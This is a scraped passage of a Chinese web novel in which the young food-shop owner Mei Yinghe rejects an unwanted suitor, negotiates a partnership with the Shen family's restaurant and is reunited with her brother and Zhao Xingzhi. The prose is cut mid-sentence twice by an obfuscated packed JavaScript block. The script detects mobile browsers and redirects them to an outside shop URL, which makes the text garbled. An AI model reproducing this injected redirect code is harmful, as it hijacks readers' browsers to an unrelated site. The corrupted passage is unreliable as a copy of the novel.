这种机会能是随便给的吗,许且冷脸,眉头拧成了疙瘩,“都说自家孩子好,我这义女虽非我亲生血脉,却为人真诚正直,灵秀机敏,且行事认真有分寸,恐怕与令郎不是一路人。” 这是把话直接砸人脸上了,薛谦的脸上一阵红一阵白的。 薛夫人看着自己哑口的丈夫,赔笑道:“用夫从小的确顽劣,但是这次为了能够娶小娘子已经愿意洗心革面了,现已发奋读书准备参加科考。” “是这三日发奋读书了吗?”许且毫不留情地冷笑,“老夫护女,有些话不得不当面说清楚。令郎的名声京城无人不知,这与你们夫妻纵容溺爱不无关系,如今孩子大了却仍没有分寸、痴心妄想,你们做父母的竟还如此惯着,即便他科考登榜,那又如何,性情、秉性合不来是其一,其二,以我家小早的性子、样貌,莫说是有模有样的世家子,就是皇子也配得。” 许且起身,怒道:“三位请回吧,再谈下去就怕老夫出口就没这么好听的话了。” 说完扫了一眼院子里的东西,“怎么拿来的怎么拿走。另外,若是再让我知道你去骚扰小早,可莫怪老夫不客气。” 这样的局面是薛谦之前料想到的,老大人没有拿着棍子打人已算是给面子了,既如此赖在这里也是无用,不如回去,也好死了这条心。 谁知那薛展却不依,站出来道:“你只是小早的义父,又不是她的父亲,你说得不算,我要见小早,我要见……” 真是愚蠢至极,许且摇头。 门外梅映禾端着新做好的蜜水饮子进来,“秋冬干燥,这是小女方才调好的去燥润肺的饮子,各位尝尝。” 许且看了她一眼,梅映禾给了他一个放心的眼神,笑道:“诸位方才的话我都听到了,承蒙厚爱,小女担当不起。” 说完将蜜水饮子一杯一杯亲自奉上,走到薛展面前,郑重地行了个礼,“薛公子家世显赫、身份贵重,可我并不看重此项。你我二人没有情谊,只有一次次的误会,薛公子是个性情中人,而我却是极端冷静的,我们并不相配。至于公子始于容貌的一厢情愿,于我而言的确形成了负担和困扰,敢问公子,人生志向几何,生平有过什么成就或者......成绩,平素除了打马巡街、花街柳巷之外,还有什么雅好,可有一技之长?” 薛展生平头一次臊红了脸,觉得无地自容。 “你看中我并与我没有关系,你不能强迫我,更不该骚扰我,如此,只能适得其反。”梅映禾又道,“到如今,你堂而皇之抬着礼物登门,没有一件事做得妥帖,处处叫我难堪、为难,你说,我该如何对你?” 父女两个的脾气倒是极相投,说话都是一般无二地不留情面。 言尽于此,梅映禾告退,还不忘提醒许且,“义父难得休沐,还应该多休息,灶上的汽锅鸡和过桥米线就要好了。” 说完便径直离去。 午食被送来的时候,薛家三口早就走了,放在院子里的箱子也被抬走了。 许且搓搓手,一脸期待,“闻着味道就好吃。” “薛大人可恼了义父?”梅映禾一边布置午食一边拿着帕子给许且擦手。 “薛谦是个明白人,纵然再骄纵儿子也是该明白了。”许且卷起袖子,将双手连带手腕都擦拭干净,“放心,他是个公私分明的人,再说,即便他记恨老夫又奈我何?” 是了,这样德高望重又心无旁骛的老大人在朝堂上连陛下都要让着几分,更何况不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369597|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占理的薛谦。 此事算是了结了,父女二人都心情极好,梅映禾想起这汽锅鸡的典故,道:“这道菜再适合义父不过了。” 许且挑眉,不知她何意。 梅映禾道:“吃鸡之法有很多种,其中这汽锅鸡数第一,因为它的做法最能保存鸡之本味,又成为‘培养正气’,传说大家相约去吃汽锅鸡就说‘走,一起去培养正气’。在女儿眼中,义父就是一身正气的代表,为民生计,为国策计,为大隶鞠躬尽瘁。” 这话显然很是受用,许且的脸上笑出了一朵花,用手指点着她道,“小早越来越会说话了,就冲着你这句‘一身正气’,今日义父要将这汽锅鸡杀得片甲不留。” 许且尝了一口,赞道:“浓香鲜咸,鸡肉嫩而筋道,火腿点缀其味,尚好,尚好。” 梅映禾又奉上过桥米线,静静的一层鸡油,看似已经放凉了。 “吃这道米线必得十分小心。”许且拿筷子搅散鸡油,“平静的汤面下是滚开的浓汤,能烫死人。” 别问是怎么知道的,梅映禾笑了起来。 鸡片、鱼片、腰片、火腿片都切的完整且极薄,浸在汤碗里一烫即熟,不老不嫩,恰到好处。 这顿饭吃得极美,许且满足的午睡去了。 能这样陪伴在爹娘身边,该多幸福啊。 梅映禾望着满院子的花草,想起了自己的爹爹和娘亲,他们若是看到现在的小早和九郎,该是会高兴的吧。 这样闲散的日子过了三日,梅映禾还想多陪陪义父就被许且撵着走,“你去忙你的,这才休沐三日,为父的腰围已经粗了一寸了。” 梅映禾这才去了铺子上,临走还说好,“义父晚间等我,咱们吃鸡汤螺蛳粉。” 许且爱吃且不忌口,尤爱这些怪食刁肴,“好好好,老夫午食就少吃些。” 铺子上的一应事物按部就班,梅映禾回来大家都松了一口气。 阿十如释重负,“这些日子夜里都不敢脱衣裳睡觉,连小九和拾一拾二都严阵以待,生怕他们搞突袭。” 梅映禾失笑,“又不是土匪。” 小梅打着哈欠说,“我陪着张婶儿睡在店里头,也是怕阿十一个人应付不来,不过那家伙好在没来,怎么,他找你了吗?” “是,解决了。”梅映禾简单说了一下情况,大家都长出了一口气,又说了几句便各自去忙。 这几日的阳光都甚好,梅映禾打算做些腌菜,便将萝卜、白菜等都在铺子门前铺开,所幸这时候人不多,等晒干了便成了一道冬日必不可少的下饭小菜。 正在弓着腰跪在地上忙碌着,眼前的光影被一件锦袍皂靴挡住,来人居高临下,问:“你可是这好吃食铺的人,你们东家呢?” 梅映禾抬头,对面是一位十八九岁上下的小郎君,正趾高气扬地看着她。 “您是来吃饭的还是......”梅映禾起身问道。 那人一脸不耐,“找你们东家,哪那么多废话,快去叫,就说沈家少东家找她。” 梅映禾:...... 又来一个纨绔?不会吧。 “这位就是我们东家。” 梅映禾身后阿十脱口而出,梅映禾看着那位沈家少东家的脸,刚想开口就被按住话头,“小跑堂别糊弄人,快去叫你们东家出来。” 阿十不忿,气道,“这就是我们东家。” 沈家少爷嗤笑,“她?是东家?那我还是宰相呢。” 梅映禾:...... 既如此,不理也罢。 转身给阿十使了个眼色,钻进了灶房。 37. 傲慢与偏见 冬日的暖阳照在身上热烘烘的,很舒服。 柜台后,小梅眼皮都不抬一下,一边整理账册和碎银,一边擦拭桌椅和柜子,准备一日的开始。 阿十拎着水桶淘洗抹布,将每一张餐桌椅都擦得干干净净,再把摆在窗边的花花草草都浇了水,转一转方向,让每一片叶子都能沐浴到温暖的阳光。 灶房里也传来叮叮呛呛忙碌的声音,还伴随着聊天和说话,忙碌的一日开始了。 那位不速之客沈少东家自己逛了半天,斜着眼睛打量了一下这个只有巴掌大的店铺,是打心眼里瞧不上。 这么小的食铺,连店面都算不上,也不知祖父让他来这里做甚。 再看看这里的伙计和婢子,一个个傲慢无礼,见了客人也不招呼,这样的铺子怎么可能生意好。 但是既然是祖父之命,他也不敢怠慢,高声喊道:“我说,你们的东家到底什么时候来。” 无人应答,片刻后小梅才从柜台后头露出笑脸,“郎君来到一不要吃的二不要喝的,张口就要找东家,不知您所为何事,咱们也好通禀。” 哟,一个小小的食铺东家,架子倒是不小。 沈郎君嗤笑,“我能同你们东家说话已是给足了她脸面,现在却要同你一个婢子论长短吗。” 瞧不起人,小梅愣了一下,咬了咬牙终究是没跟他理论,冷着一张脸坐回到柜台里再不同他说话。 梅映禾端着两杯茶水从灶房里出来,笑着行礼,“我便是这里的东家,方才伙计已经同郎君说得很明白了,奈何郎君不信,您找我何事?” 面前的小娘子大约刚及笄的年岁,样貌姣好,眉眼如画,娇滴滴软绵绵的模样,待人接物倒是有些章法,只……沈郎君却怎么都不信她就是东家。 只当是被戏耍了,沈聪拍案而起,怒道:“你们这群人真是不识好歹,别后悔。” 说完带着人扬长而去,只留下茶水都还未来得及放下的梅映禾站在原地发呆。 这是怎么了,如今的小郎君怎么都这么大的气性。 虽说只是个小小的插曲,但是这回梅映禾留了心眼,别管什么事,但凡有不好的苗头都要提前防范。 打听到这位自称为沈少东家的小郎君竟然真的是沈记酒楼的少东家。 “沈记酒楼最近几年的风头盖过了状元楼。”周大厨介绍,“听说这位东家是位颇有些人缘的老者,为人和善随性,对待店员也是极好。你别说,他的沈记酒楼的菜品倒是时常换新,很有几分讲究,也能随着时令节气而调整,做得很细致,听说东家为人乐善好施广结善缘,所以朋友很多人脉颇广,生意自然越来越好。” 到底是行业资深元老,周大厨介绍得很清楚,梅映禾点头,“可是这位少东家跑来我们这里口口声声找东家,那态度不怎么好,气势嚣张得很。” 周大厨摸摸后脑勺,一筹莫展,“这少东家倒是未曾听说,只知道沈东家的儿子儿媳早就去世了,留下一个小孙子不假,却不曾听位这位少东家的事。别是冒充的吧。” 梅映禾:…… 算了,先这样吧,真有事他还会再来的。 果然,这位沈少东家隔了五日又来了。 沈记少东家沈聪,年十九,老东家沈茂庆便是他的祖父。 这位少东家从小没了爹娘,被祖父捧在手心里长大,纵然脾气骄纵急躁却是个十分爽朗直率的。沈茂庆觉得孩子长大了,自己也老了,便有心栽培他,希望孙子能够早日继承这一摊子事,最好能够将沈记再壮大。 可是饭得一口一口吃,事得一件一件做。 沈聪虽聪明却未经世事,从小又是锦衣玉食般长大,做事没有章法,难免还有些少爷脾气,这沈茂庆交给他的头一件事就办得乱七八糟。 听说好吃食铺的生意极好,沈茂庆早有留意,并且来吃过几次,不说别的,只说这菜肴的创新和味道,便是让老爷子佩服得五体投地。 和许多同行一样,原本以为是周大厨的功劳,一打听才知道竟出自这好吃食铺的东家之手。再看这位东家,更是了不得,竟然是一位年纪轻轻的小娘子。 再看看自己个子已经长成,性情却依旧幼稚的孙子,沈茂庆便将同好吃食铺东家见面洽谈合作的事交给了孙子沈聪去做。 沈聪不以为然,“不过一个小小的食铺,上不得台面,祖父竟然要跟他合作,索性给些银子买下便是。” 瞧瞧,这就是不参与具体经营和事务的富二代们不可一世高高在上的想法。 沈茂庆耐心解释,“买下这间食铺有何意义,菜品特色出自东家之手,我想要的是这个人才,再说,人家未必肯卖你,要知道这间小小的食铺可是刚做过万寿宴的,风头正劲。” 那又如何,沈聪不以为然,终究跟自家的大酒楼是不可相提并论的。 但是既然祖父交代了事情,自己又很想多学点儿东西,那便认真去办。 谁知第一次登门就碰了一鼻子灰。 “这家食铺长不了。”沈聪断言,“不懂礼数,态度恶劣,到底是小作坊就是不行。” 沈茂庆想了想自己曾经去过几次的经历,怎么都觉得跟孙子说的大相径庭,“这里头怕是有什么误会。” 沈聪两手一摊手,“哪里有什么误会,我到那里就说明来意要见东家,结果他们,有一个算一个,不拿我当回事,指着一位还不及我年岁大的,穿的破衣烂衫的小婢子,非说她是东家。简直可笑。” 沈茂庆一听,可不就是出问题了吗,到底是谁可笑。 “那小娘子是不是皮肤很白,笑得很甜,样貌极好不输高门大户的女郎们。” 沈聪听祖父这般说,点头称是,“的确长得不赖,祖父去过的吧。” 沈茂庆摇头,笑道:“那位还真的就是这食铺的东家。” 这下轮到沈聪瞠目结舌了,“就她?一个小娘子,乳臭未干,还没灶台高……” 沈茂庆一瞪眼,“怎么说话呢,就是那位小娘子,在陛下和娘娘面前露过脸的,还得了赏。是她收留了人人嫌弃的周大厨,还让他做主厨。是她让好吃食铺日日排队,那里头的菜品是我们都无法企及的。也是她,让沉寂穷困了许多年的梅花村重新振作,并且名声在外,被陛下和各位大人们关注,你难道没瞧见吗,午食晚食的时候,她的食铺里出入的客人皆是达官贵人和穿着绯衣紫袍的大官……” 那倒还真没瞧见,沈聪去的时候太早,人家才刚开门。 既然祖父都这般说了,沈聪这才觉得自己的唐突和莽撞来,于是,自告奋勇第二次出战,一定要会一会这位了不起的东家小娘子。 这一日他来的时候正是午食,好吃食铺最忙碌的时候。 果然如祖父所说,远远地就看到门口排起了长队,还不乏一些高官也在队伍中规规矩矩地等候。 这可是有点儿厉害了,沈聪想起自家酒楼,平素来了高官莫不是提前订座,便是直接到店自然留好了伺候官老爷们的雅间包房,从未见过这样的大人物竟也同百姓一起排队的,还有说有笑,丝毫看不出半点不悦。 这好吃食铺究竟什么来头,沈聪这回带了几分谨慎和小心,排在队伍里头。 仔细观察下来,的确上回是自己不礼貌在先了。 还是那个小跑堂,个子不高人却机灵得很,这么多人点菜竟全都能记在脑子里,还有柜台后头的高高个子皮肤略黑小娘子,笑得很甜,嘴巴也很甜,全然不似对待自己那般横眉冷对的模样。 只是……未曾见到那位不显山不露水的东家小娘子。 沈聪自顾自嘀咕着,“东家今日没来铺子上吗?” 前头一位排队的食客回头看了他一眼,笑问:“哟,这又是一位来瞧梅东家的小郎君。” 沈聪不明所以,食客瞧着他样貌周正斯文,反正排队等座闲着也是闲着,便同他多聊了两句,“这位梅东家因为样貌出众,每日都不少小郎君慕名而来,一来为饱口福,二来为饱眼福。正所谓秀色可餐,小郎君你说是不是呀。” 这还调侃上了,沈聪却不以为然,“大哥说得是旁人,我却不是。” 他信誓旦旦,“家下也是做这一行的,今日来是取经来了。” 听他这么一说,那人又来了精神,索性拉住沈聪的胳膊,道:“那小郎君可算是问对人了,这好吃食铺的菜肴点心我样样都吃过,给你介绍介绍。” 说来话长,那人掰着手指头一一细数,一直说到队伍尽头,眼看要进去了这才恋恋不舍地回头招呼,“方才我说的那些 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“真是个不知天高地厚的。”小梅评判,“下次再来,恕不接待,直接给他叉出去,什么沈记酒楼,我看就是个店大欺客的,看咱们生意好眼红了,无赖。” 二人你一句我一句骂了一炷香,这才解恨,梅映禾收拾碗筷去灶房跟周大厨商量新菜单去了。 冬日了,该上一些热腾腾炖煮的菜品了,梅映禾想起了铁锅炖,不知道好不好做。 周大厨没做过,甚至都没见过,索性,晚间送走了食客,梅映禾亲自操刀做了一锅铁锅炖大鹅,一圈贴着饼子,先吃大鹅,吃完了再往里头放其他的菜肴,蔬菜、丸子、肉、粉条,想吃什么放什么,那锅鹅汤越炖越有滋味,连粉条都吸饱了汤汁,咬下去唇齿留香,简直都要把舌头吃到肚子里了。 “这个好,好极了。”周大厨赞不绝口。 自从周嫂子也来帮厨之后,周大厨几乎等同于住到了店里,每日不到时辰就早早过来,晚上送走食客收拾妥当还要再研究技艺,走的时候都是入夜时分,这让梅映禾很感动。 周嫂子却说:“东家给了老周一次重新活过来的机会,等同于救了他一命,不然这人就废了。该说感谢的是我们。” 看吧,人就是这样,真心是一定能换来真心的。 都像那位沈小东家一样,这事能办成才怪。 遥遥隔着几条街,沈小东家连着打了几个大喷嚏,裹着毯子跪在祖父面前听训: “让你去找东家,你瞧不上人家小娘子,搞砸了。第二次去,都跟你说过了,不能张口买人家的铺子,这是人家的心血,是命根子,但凡任何一个白手起家的东家听到这样侮辱的话都不会让你全须全尾地回来,人家梅东家算是客气了。你想想,若是有一家比我们还要大的酒楼……” 沈聪打断道:“这京城里就没有比咱家还大的酒楼了。” 噎了一口气的沈茂庆顿了一下,苦口婆心道:“好,现在没有不代表将来没有。这么说,如果官府一纸明文要收了咱家的酒楼,给你银子,随你开价,你要不要。” “那不是欺负人吗,咱们又没想卖……”沈聪一下子跳起来。 话说到这里自己才算明白,自己的所作所为就是欺负到人家头顶上了。 两次了,事不过三,得罪梅东家已经两次,这算是彻头彻尾将人得罪透了吧。 “那怎么办?”他终于蔫了,垂头丧气地一屁股坐在地上,“我错了。” 得了,谁年轻的时候没犯过错,沈茂庆看了一眼孙子,心里也是心疼,叹了口气道:“从哪里跌倒就从哪里爬起来吧,这次我陪你一起去,给人家梅东家道歉。” 梅映禾再次见到沈聪的时候,好吃食铺刚上了铁锅炖。 她特意找了铁匠铺新做的大铁锅,又给每个桌子下加了炉子,铁锅炖大鹅、铁锅炖排骨、铁锅炖老公鸡,嘿,各有各的滋味,瞬间掀起一股热潮,门口排队的人更多了。 沈茂庆拉着沈聪排队,点头赞道:“就这份心思,咱们跟人家天壤之别啊。” 经过周大厨的指认,梅映禾破例将沈茂庆让到了里间,“前辈来小铺,是我们的荣耀,这间房是我们自己吃饭用的,沈老先生请坐。” 38. 滚 沈茂庆笑着颔首却并未落座:“先前是我这孙子给小娘子添麻烦了,今日特意带着他过来向小娘子道歉。” 说完看了沈聪一眼。 沈聪明了,恭恭敬敬地跪地行礼,“梅东家,是我沈聪有眼无珠不识高人,说话莽撞做事无礼,自知犯下了不可饶恕的错误,还请梅东家不要往心里去,要杀要剐悉听尊便绝无怨言,只求你别生气。” 说完就要磕头,被梅映禾一把拉住: “这实在是使不得,少东家快起来。” 人家的诚意算是表达到了,话说得有些太严重了,反倒叫梅映禾不好意思起来,三人落座这才说到正事上。 沈茂庆道:“梅东家虽然年轻,做出来的事却叫人佩服。不说别的,光是这菜品和推陈出新的能力,老朽自愧不如。” 梅映禾赶紧道:“沈东家过谦了,我只是个新人,好些个菜都是瞎琢磨出来的,上不得台面,沈东家今日来想必是有事,不妨直言。” 沈茂庆心道,的确是位聪慧直率的小娘子,这样的女子若是能做自己的孙媳妇那可是再好不过了。 想归想,但是该锻炼孩子的机会,沈茂庆也不会放过,看了一眼一直站在身旁的孙子,沈聪领会,接话道:“先前是我词不达意,我们沈记酒楼想必梅东家也略知晓,我祖父一直十分敬佩梅东家的能力,想要同你合作。” “合作?”梅映禾不明白,“如何合作?” 沈茂庆仍旧不发言,半眯着眼,这回也不看沈聪了,任由他去说。 “就是觉得以梅东家的能力和好吃食铺的名气,若是只这一间小小的食铺,实在有些屈才。如果梅东家想要做大酒楼,我和祖父是可以帮忙的。” 沈聪自觉这一次是把事情说清楚了,不会再产生歧义了,默默出了一口长气,长这么大鲜少地紧张起来是怎么回事。 开酒楼的想法梅映禾是有的,这一点果然是让他看准了,可是至于如何合作,自己为什么不能开自己的酒楼,梅映禾却是仍旧没明白。 既然沈东家亲自登门,这里头必然有道道,梅映禾也不着急开口询问,那样会显得自己太稚嫩急切,于是笑着转移话题: “这几日我们食铺上了铁锅炖,二位既然来了,不妨尝一尝,品评品评给些意见。” 说完便转身出去吩咐阿十上锅。 巨大的一口铁锅被端上来,已经炖好的大鹅整整一大锅。 “铁锅炖大鹅是我们这里的特色,这是野鹅,十分有嚼劲,炖煮了三个时辰呢,二位尝尝看。”梅映禾亲自给沈东家和沈聪布菜,看着二人品尝。 这道铁锅炖大鹅是在梅映禾的方子上经过周大厨改进的,大隶朝最珍贵的佐料莫过于胡椒,虽说只是一道家常炖菜,但若是放了胡椒,一来提味,二来也更能卖上价。 这便是有土生土长的大厨的好处,梅映禾从善如流。 “果然不错。”沈茂庆赞道,“味道鲜辣浓烈,汤汁肥厚,就连这饼子也是又脆又有味道,还嚼劲十足,甚好,甚好。” 梅映禾笑了笑,“这菜虽好却上不得席面,不过是自家小馆用来满足食客的口腹之欲和新鲜感罢了。” 这便是谦虚的话了,既谦虚那便有谦虚的道理。 梅映禾还没听明白对方究竟要如何合作,自然先将自己的姿态摆到最低,这样进可攻退可守。 沈茂庆十分感慨地看了一眼自己的孙子,沈聪这才停了筷子,聪明的孩子一点就透,看看人家梅东家,比自己年岁还小,不但菜做得好,为人还十分谦虚,更重要的是祖父说过,这样自谦的话必然是藏着玄机的,这位小娘子于谈判之术上也是颇有经验和老道的。 “梅东家。”沈茂庆亲自开口,“方才聪儿说的合作并未讲明白具体的方式。我朝开酒楼并非开食铺这般简单,还需自己酿酒,而没有官府给予的酿酒权,我们是不能酿酒的。官府有酒坊也有酒引子,我们沈记是拿到酿酒权的,每月需去如数订购酒引子,才能酿酒售卖,否则只能从酒坊或者有酿酒权的酒楼、酒肆去买酒,一则价格高,二则那样的生意也不能叫酒楼,只能叫脚店,终究不是一个规模。” 梅映禾不动声色,静静地听着。 “所以,老朽想,梅东家拿到酿酒权也是早晚的事,但是这需要过程和时机,而且官府每年只在中秋节前后放一次酿酒权,今年的机会过去了就要等明年的了,如此算下来最快也要一年。这一年要耽搁多少生意,梅东家也是生意人,自然心中明白。”沈茂庆带着诚意继续道,“我们沈记如今在京城也算是有一席之地,若是梅东家不嫌弃,我们可以合作,我们沈记向梅东家免费提供酒水,等你卖出去后我们抽二成即可,也就是个本钱。并且还可以向梅东家传授酿酒的经验,并且协助梅东家你拿到酿酒权。” 这个条件给得十分优厚,酿酒权和酿酒的技术的确是梅映禾目前最大的难题。 “不知沈东家想要什么。”梅映禾问。 对方开好了条件,就怕索要过多,那样的话…… “不瞒小娘子,沈某多次来贵店吃饭,十分喜欢小娘子的菜色。我想,我们合作这一年中,好吃食铺推出的新菜皆可给沈记共享,并且我们不要你的秘方,梅东家只需做好我们来取即可,或者出半成品,回去稍微加工一下便可以上桌的,绝不觊觎梅东家的手艺。” 优厚的条件可见对方的诚意,梅映禾心里已经有了决定,只是并未当场答复。 “这是件双赢的事。”梅映禾坦率道,“感谢沈东家给予我的帮助,小女很感激,只是这食铺并非我一个人的,我的哥哥这几日便能有假期归来,我还需要同他商议。另外,这店里的每一个人都对这间食铺有感情,对我们未来的发展也充满期待,我还需要同他们一起商量。” 这话前半句说得理所应当,沈茂庆点头,但是后半句却让人很是震惊。 按理说梅映禾是东家,至于未来发展只要东家说了便是定了,没听说过东家还要同店里的伙计商议的。 沈茂庆感慨,“都说梅东家是个善人,能够如此尊重看重伙计们意见的东家,老朽还是第一次见,难怪你店里的伙计个个都是死心塌地。聪儿啊,你要跟梅东家学的东西实在太多了。” 沈聪忙接话,“孙儿也是这般想的,若是梅东家不嫌弃,我便常来帮忙,顺便跟梅东家学习,不如,梅东家你收下我这个徒弟吧。” 年轻的小郎君不懂得掩饰,这话虽说得急切略失分寸,却是年轻人之间的事,沈茂庆只当没听到,任由他们自己来往吧。 梅映禾有些措手不及,想推辞却来不及挡住他的热情,沈聪自顾自道:“我这个人莽撞了些,但是我真心佩服的人一定会好好听话的,师父日后尽管吩咐便是。你也不用客气,就当……” 这时阿十进来送酒,沈聪宛若抓到了救星,“就当我是阿十的师弟,十一。” 阿十木着脸瞥了他一眼,“拾一是狸奴,拾二也是。” “那我就是十三。”沈聪一张清秀的脸咧开了花,好似终于给自己找到了合适的定位。 梅映禾:…… 你真的确定要叫十三吗。 年轻的小郎君和小娘子在一旁吵吵闹闹,沈茂庆这才从梅映禾身上看出来活泼晚辈的身影,越看越喜欢,越看越觉得跟聪儿甚是般配……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14390068|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈聪倒是不客气,自那日起日日准时来好吃食铺报道,宛如这里的一分子。 看着他忙里忙外打扫、帮厨的身影,小梅将梅映禾拉到一旁,悄声问:“他这是要做甚?” 梅映禾无奈道:“你当他空气吧。” “可是人家干活了呀。” “月底给工钱啊,跟阿十一样。”梅映禾还没正式答应沈茂庆的合作,但是跟店里的人都商议过了,大家都表示赞同并且愿意全力支持。 梅映禾想也不必麻烦,日日做菜让他们来拿,人家有诚意自己也不能太小气,索性有些菜就让周大厨过去做,让他们能学多少学多少,至于一些重要的秘方菜嘛,倒是可以做成预制,比如铁锅炖,做到八成,拿过去炖一下撒上葱花香菜即可。 这也是加盟的一种形式,梅映禾想要开发一下。 沈聪是个勤快的,人机灵嘴巴又甜,很快就融入进来,食客们都知道了沈记的少东家现在正在给梅小娘子打工。 自然,这个消息也被刚刚归来的赵行之知晓了。 出去演练的日子,赵行之一直让佑安派人暗中保护梅映禾和好吃食铺的每一个人。生怕她树大招风被人欺负了,这下好,欺负她的人,诸如薛展,她处理得倒是干脆利索。反倒是这种厚着脸皮来蹭的沈聪,怎么就稀里糊涂地认了徒弟呢。 午食过后,店铺里闲下来,没了客人大家都聚在前厅说话,吃饭。 这时走进来两个人,梅映禾一抬头,眼泪夺眶而出: “哥哥。” 小娘子一下子扑到梅九畴怀里,被哥哥硬邦邦的胸肌铬得生疼。 “哟,嘶。” 梅映禾还没来得及开口,小梅就一下子又扑到梅九畴怀里,人家不嫌弃死死抱着梅九畴哭得呜咽呜咽的说不出话来。 梅映禾:…… 一转头看到了站在一旁面无表情的赵行之。 “七哥。”梅映禾拉着赵行之进去坐下,“你们吃了吗,饿不饿,什么时候回来的,阿十,快给哥哥们上茶水,不,蜜饮子还有吗,降火解燥。” 赵行之看着眼前生动活泼的小娘子,连日来的担忧和相思稍稍平复,笑道:“一切都好,这回能多休息些日子,你怎么样。” “我很好,好得不得了。”梅映禾笑得灿烂,看了一眼仍旧站在门口抱在一起的哥哥和小梅姐,叹道,“你们也过来坐下吧,我哥哥累了。” “不累。” ”不累。“ 二人几乎异口同声。 “师父,蜜饮子。”沈聪端来托盘和蜜饮,笑眯眯地盯着梅映禾的脸看,全然没察觉到一旁赵行之想要刀人的眼神。 “七哥尝尝,这个甜丝丝的,最是解燥滋润。”梅映禾亲手端给他,赵行之这才收了眼神,问:“这位是,新来的跑堂?” “哦,是……” “我是沈聪,沈记的少东家,梅东家的亲徒弟。”沈聪自我介绍,习惯性地用肩膀拱了拱梅映禾的后背,很是骄傲的样子。 赵行之咬着后槽牙,捏着杯盏的指尖逐渐泛白,“你让他们先去忙吧,我有事同你说。” 午后休息的时候,梅映禾让大家各自休息去了,小梅拉着梅九畴第一时间溜得没影儿了,只留沈聪仍旧坐在梅映禾身边,殷切地笑着。 “你……”赵行之不悦。 “哦,我是徒弟,不是外人。”沈聪笑得一脸人畜无害,木呆呆地屁股仿佛粘在凳子上一般。 “我同小早有话说,你出去。” “师父……” “出去。” “师父……” “滚。” 39. 椒子酱 沈聪不认识赵行之,还要回嘴被梅映禾推搡着去了灶房。 “不管他是谁,我认识七哥在先,自然事事以七哥为重。”梅映禾讪笑,“小孩子不懂事,七哥觉得这蜜露饮子味道如何?” 赵行之肃着一张脸递过杯盏,“再来一杯。” 这就是好喝了,梅映禾笑得很甜。一边给他倒蜜露饮子一边询问这次出门的情况,赵行之只说了大概,梅九畴表现相当出色,陛下这次还给了赏。 “陛下也去了吗?”梅映禾很兴奋。 “没有,我请的赏。”赵行之杯盏中的饮子又见了底。 这些日子没见她了,小娘子好似胖了一点点,面色白里透红也更圆润了,水汪汪的大眼睛亮亮的,好似里头有星星一般,看来休息得也很不错,看来那些个乱七八糟的麻烦事并未对她有什么影响,小早啊,真好。 “薛展的事处理完了?”赵行之没看她,眼睛望向窗外。 阳光下一片暖暖的颜色。 “嗯。”她答得很随意,手里正帮他剥橘子。 小小的橘瓣托在她白皙的手指上,赵行之看到了她手上的新伤。 “既然店里人手都够,许多事情就不用自己亲自做了。”他接过橘子放在嘴巴里,酸甜生津,满口留香。 “嗯,我现在清闲得很。”她给自己嘴巴里塞了一整个小橘子,橘子不大,比鸡子还要小一些,梅映禾觉得这样的甜橘就应该一口吞下,然后慢慢咀嚼吞咽那酸甜的汁水,这样才过瘾。 薛展的事情赵行之都知道,既然她不愿多提及,他也不再多问。转头仔细打量了一下店铺里,多了许多梅菊,拾一拾二躺在阳光里打瞌睡,小九在一旁眯着眼睛守着,换了一些字画,颜色多为暖色调靓丽的丰收图,很是应景更显得热闹喜庆。 窗子上多了一些窗花和剪纸,精细得很,看得出颇费了一番功夫。 “那些都是食客送的。”梅映禾很骄傲,“好些东西都是送的,这坐垫、杯垫还有小家伙们身上的小棉衣。” 她说的是三小只,的确,红红绿绿的袄子套在猫猫狗狗身上增添了几分人气和可爱。 “这里……”赵行之犹豫了一下,道,“终究是小了些。” 梅映禾笑了笑没接话,一转头,一脸促狭地看着他,“七哥这是刚回来吗,怎么不去见一见未来的王妃,改日带着七嫂到我这里来吧,我最近新上了铁锅炖,极受欢迎,不预定都吃不到呢。” 这个赵行之早就听说了,只是从她嘴里喊出“七嫂”让他觉得很是刺耳。 “八字还没一撇,她不是你七嫂。” “啊。”梅映禾诧异,“分手了,不能吧,还没开始就……” 赵行之一个刀子眼看向她,梅映禾止住了话头。 失恋的人真可怕。 “莫要胡思乱想,五娘子和我是从小到大的关系,亲如兄妹。” 梅映禾明白了,这是拿人家当挡箭牌呢吧,为了躲避兄嫂的催婚还真是豁出去了,看来从古至今催婚这一难题都是一样的逼人发疯。 可是那位梁家的五娘子当真也是这般想的吗,梅映禾想起那日的情景再看看眼前颇有些自信的七哥,觉得这事恐怕要失控。 “七哥,那五娘子……” “她是她,我是我。”赵行之打断了她的话,“我会尽快跟她讲清楚,这辈子谁也不娶。” 谁也不娶,这是要打一辈子光棍吗。 来自后世的梅映禾觉得,以赵行之的身份、地位,与其说娶个七八房老婆倒不如打一辈子光棍来得自在,可是那是她的想法,放在这大隶朝恐怕太离经叛道了些。 赵行之又去捏了一个橘子,自己拿在手里剥皮,随着手里的橘子被扒光,那颗橘子被递到梅映禾手里,“你这里,有什么要帮忙的吗?” 他装作若无其事地问,梅映禾接过橘子塞进嘴巴里,摇头道:“没有,一切正常。” 赵行之继续剥橘子,也不抬眼皮,“可有什么打算?” “先这样吧,过几天轻松自在的安生日子,让我好好休息休息再说。” 梅映禾没有向他提及想要开酒楼的想法,这让赵行之的心好像突然坠落一般,空落落的,心里烦闷却又不能说出口。 看着她一步步走过来,赵行之既高兴又不高兴。 